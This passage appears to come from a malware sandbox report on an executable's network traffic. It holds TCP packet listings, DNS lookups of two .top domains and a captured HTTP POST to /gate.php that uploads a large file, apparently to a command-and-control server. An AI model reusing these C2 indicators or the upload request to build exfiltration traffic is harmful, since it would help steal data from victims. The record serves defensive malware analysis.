Oct 18, 2022 13:28:12.921786070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921809912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921818972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921838045 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921850920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921883106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921885967 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921906948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921932936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921936035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921956062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921964884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.921978951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.921988964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.922058105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.922059059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.982449055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982498884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982530117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982559919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982613087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982624054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.982640028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982671022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982691050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.982691050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.982702971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982729912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982757092 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982781887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982808113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982835054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982860088 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982912064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982942104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.982970953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983000040 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983026028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983032942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983053923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983078957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983078957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983086109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983095884 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983112097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983113050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983134031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983140945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983160973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983167887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983186960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983196020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983215094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983223915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983241081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983249903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983272076 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983278036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983318090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983340979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983360052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983387947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983413935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983417034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983434916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983442068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983463049 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983470917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983493090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983500004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983516932 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983527899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983544111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983556986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983575106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983592987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983611107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983618975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983635902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983645916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983663082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983674049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983690977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983701944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983719110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983727932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983742952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983755112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983771086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983782053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983798027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983808041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983824968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983835936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983853102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983863115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983879089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983891010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983906031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983917952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983937979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983943939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.983958960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.983987093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.044559956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044676065 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044718027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044771910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044802904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044830084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044862032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044871092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.044889927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044917107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044934034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.044949055 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.044965982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.044976950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045001030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045006990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045033932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045052052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045059919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045092106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045098066 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045119047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045128107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045145988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045173883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045181036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045202971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045219898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045223951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045250893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045279026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045279026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045309067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045322895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045336008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045365095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045370102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045392990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045408010 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045413971 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045437098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045464039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045476913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045492887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045521021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045531988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045550108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045552969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045577049 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045603991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045615911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045630932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045631886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045655966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045685053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045686960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045713902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045722961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045742035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045768976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045775890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045795918 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045816898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045824051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045849085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045850992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045880079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045891047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045907974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045917034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045936108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045948982 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045964956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.045988083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.045990944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.046010017 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.046011925 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.046036005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.046073914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.046116114 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.106686115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106740952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106769085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106794119 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106821060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106838942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106837988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.106837988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.106863976 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106901884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106928110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106929064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.106956959 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106973886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.106983900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.106995106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107011080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107017994 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107040882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107042074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107059002 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107068062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107096910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107100964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107115030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107129097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107147932 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107157946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107172012 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107187033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107204914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107217073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107242107 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107244015 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107258081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107276917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107306004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107316971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107316971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107337952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107351065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107367992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107393026 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107395887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107415915 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107422113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:13.107501030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.107942104 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:13.168281078 CEST	80	49701	141.8.199.69	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 18, 2022 13:28:03.133913040 CEST	59477	53	192.168.2.7	8.8.8.8
Oct 18, 2022 13:28:03.767357111 CEST	53	59477	8.8.8.8	192.168.2.7
Oct 18, 2022 13:28:04.498411894 CEST	55752	53	192.168.2.7	8.8.8.8
Oct 18, 2022 13:28:04.686130047 CEST	53	55752	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 18, 2022 13:28:03.133913040 CEST	192.168.2.7	8.8.8.8	0x6c1a	Standard query (0)	pefejo12.top	A (IP address)	IN (0x0001)	false
Oct 18, 2022 13:28:04.498411894 CEST	192.168.2.7	8.8.8.8	0xce85	Standard query (0)	vupmex01.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 18, 2022 13:28:03.767357111 CEST	8.8.8.8	192.168.2.7	0x6c1a	No error (0)	pefejo12.top		80.76.42.141	A (IP address)	IN (0x0001)	false
Oct 18, 2022 13:28:04.686130047 CEST	8.8.8.8	192.168.2.7	0xce85	No error (0)	vupmex01.top		141.8.199.69	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pefejo12.top

vupmex01.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49700	80.76.42.141	80	C:\Users\user\Desktop\1icHGAo2uY.exe

Timestamp	kBytes transferred	Direction	Data
Oct 18, 2022 13:28:03.845340967 CEST	99	OUT	POST /gate.php HTTP/1.1 Content-Type: multipart/form-data; boundary=yaekMk User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Host: pefejo12.top Content-Length: 897678 Cache-Control: no-cache
Oct 18, 2022 13:28:03.845518112 CEST	100	OUT	Data Raw: 2d 2d 79 61 65 6b 4d 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 73 5b 5d 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 79 47 4b 6b 32 57 44 41 4e 77 22 0d 0a 43 Data Ascii: --yaekMkContent-Disposition: form-data; name="files[]"; filename="yGKk2WDANw"Content-Type: application/octet-stream
Oct 18, 2022 13:28:03.845623970 CEST	104	OUT	Data Raw: e8 e4 be ec eb 75 2d f9 6c 19 ab bc 90 89 73 87 d7 71 01 91 13 57 88 b8 28 1b c7 93 c2 42 17 85 21 69 33 7c 5d 38 a5 69 ac e6 92 62 40 ac 46 c1 64 0e 97 0d a9 22 a2 8d 7b d7 32 29 02 3a be 0c 84 74 df 5d 3c bc ba 10 2b 51 3e 05 b1 c6 b7 73 87 94 Data Ascii: u-lsqW(B!i3\|]8ib@Fd"{2):t]<+Q>sZgCdz!Hy[D(VsT^ e23,aYNs+Ij9yZ4C'^jG7JL\|T B"O_Jd;
Oct 18, 2022 13:28:03.845803976 CEST	108	OUT	Data Raw: eb cb d2 43 cf 7f 1b 45 11 cd 1d fc 34 80 2d 9c 5a 44 20 50 98 43 78 5b b2 14 4f 6b c1 46 c3 0e 53 ee 6b 31 99 63 21 96 bc a5 9f 4a 83 1f cc 53 7c 2c 65 10 8a 8a 24 07 ff 8c b7 36 69 5b 29 56 ee ca a0 0a 79 8b 98 1c f5 00 bc 6c 61 6e 6d c4 22 92 Data Ascii: CE4-ZD PCx[OkFSk1c!JS\|,e$6i[)Vylanm"sFL{=a@Q!.\No=[P\|&LOEA&h{6N""EAY.,oPgog-BbeCAc?)NhaP[`G
Oct 18, 2022 13:28:03.845990896 CEST	112	OUT	Data Raw: d2 2e 2d 8f ac cb c4 da f3 e7 54 14 99 df 65 51 17 3a 2c 17 29 95 b5 72 3e 38 f1 b3 d1 6e c6 af c8 84 aa cc 7b b3 ab d4 64 83 ed 4a 8a fc e0 05 2e 4d 8b d9 11 2b 0f 6d 6b 04 84 e0 e8 fc a4 f0 0c 71 cf c6 ad 7b 73 61 db e4 74 37 bd 64 98 92 ce a0 Data Ascii: .-TeQ:,)r>8n{dJ.M+mkq{sat7d$4\44q[Ce7{jgVzNCiWh1&klO]<~NW83dNlT6?5:zpfy\|`ln3& C2G`#Xd!5r>!
Oct 18, 2022 13:28:03.901171923 CEST	120	OUT	Data Raw: fd e3 d4 e9 c5 1b b7 0b 5c b0 84 c3 f6 46 43 66 5e 30 20 80 1c bd 5b 5d 66 70 11 ae d8 9e 78 27 03 40 1e 8a ec 9a 80 37 17 5d 74 73 34 61 49 67 80 35 0a 4f 78 6a a7 6c b9 e4 fa 43 ae f3 f8 72 73 22 9c 17 4c fe d4 7b 49 7a 62 14 94 ac cb 36 18 d2 Data Ascii: \FCf^0 []fpx'@7]ts4aIg5OxjlCrs"L{Izb6j*%?g\|ds3?{/`MR ^P'$09&tmY%bTb1=BD>hKd1x=aQEYCM
Oct 18, 2022 13:28:03.901813984 CEST	121	OUT	Data Raw: 34 6d 7c ed 88 19 f3 a1 7a 67 f8 73 ed 37 cd 38 20 ae 93 98 5a 1d f2 74 c4 47 39 8a 93 a3 3d 20 16 23 e5 d2 fc 4f 41 ca 82 e5 04 2e ef 2d c8 da 1d c5 ff b7 ef 40 ac ee 65 30 ab fd b7 ec 8d 7f e5 c0 2b 60 75 bd ee 6a ec 33 08 70 ab 52 65 bd 6e 92 Data Ascii: 4m\|zgs78 ZtG9= #OA.-@e0+`uj3pRen\-^D%cy}D@H<9JEGa]& rv5;@hGJ0M-A%,kMiWqs&[`\yL{<RP`wBvgvP2F)NU
Oct 18, 2022 13:28:03.903042078 CEST	129	OUT	Data Raw: 87 b9 0f 60 e5 f8 eb 4e d2 2c 47 20 29 be 09 e1 bc b3 55 fd bd ea 02 79 2e ff 48 4b d8 cb ba 60 84 24 2c 54 e1 1a b2 1f 0a 3f 09 b4 76 17 0c 1c ab 91 14 3e 9d 4d 05 02 26 20 2e 8c ab 6b f7 e4 e4 f6 bc fb e7 d2 2e 5d 81 9a 8e 4e 10 02 46 2a f4 82 Data Ascii: `N,G )Uy.HK`$,T?v>M& .k.]NFO6\|{LVV%7U6s]uv$Ag&CZ=F^c2Mt_/"aK r*}rf\AGm ]3
Oct 18, 2022 13:28:03.903345108 CEST	131	OUT	Data Raw: 2a aa 6a 6f c5 8e ec e8 ef c7 65 f1 98 3f 98 18 a7 10 9a 1e 40 9e 77 82 94 be 47 f7 9e 73 0b f5 1b 30 54 46 dc fe fa 75 58 3e 7f c4 22 53 66 36 e1 56 d5 72 a9 85 1f ec 34 fb 33 e3 ea 46 ac ca 96 c9 ba 41 1a 74 cb 2f 3b b7 6c 25 d2 d5 f0 96 4a 66 Data Ascii: joe?@wGs0TFuX>"Sf6Vr43FAt/;l%Jf\|\R,v\[?%>5aurwh)PkWCtdhUuHVL L9u5Q-SL.}rn"R^-1M[V^)!}RD(
Oct 18, 2022 13:28:03.903693914 CEST	136	OUT	Data Raw: f8 d8 b7 0a 2e 4c 03 d4 b6 c5 75 db bd a4 be 71 35 06 fe 74 a3 82 b9 8b 25 07 74 5a e5 d7 b4 6c ce 22 ef aa 23 5a 96 9b f7 e4 c3 af 2f ec 96 96 ad 46 55 c0 2c 8a 5f 74 a3 22 06 30 cf b9 46 25 62 fe cb 0f 7f 23 e8 94 12 d2 ab de 86 91 6d 72 ec 64 Data Ascii: .Luq5t%tZl"#Z/FU,_t"0F%b#mrd%PFP\#aku~J;bF\c"`#^;\,'F\g80}CCe;I{vm~KOct -m*^8P"g9nP
